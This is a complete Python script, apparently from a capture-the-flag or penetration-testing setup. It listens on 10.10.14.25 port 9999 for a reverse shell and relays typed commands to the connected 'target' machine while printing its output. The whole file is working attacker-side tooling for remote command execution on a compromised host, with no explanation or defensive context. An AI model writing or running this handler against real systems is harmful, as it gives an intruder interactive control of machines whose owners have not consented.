shell_listener.py

import socket, sys, time

def listen(ip,port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((ip, port))
    s.listen(1)
    print("Listening on port " + str(port))
    conn, addr = s.accept()
    print('Connection received from ',addr)
    while True:
        #Receive data from the target and get user input
        ans = conn.recv(1024).decode()
        sys.stdout.write(ans)
        command = input()

        #Send command
        command += "\n"
        conn.send(command.encode())
        time.sleep(1)

        #Remove the output of the "input()" function
        sys.stdout.write("\033[A" + ans.split("\n")[-1])

listen("10.10.14.25",9999)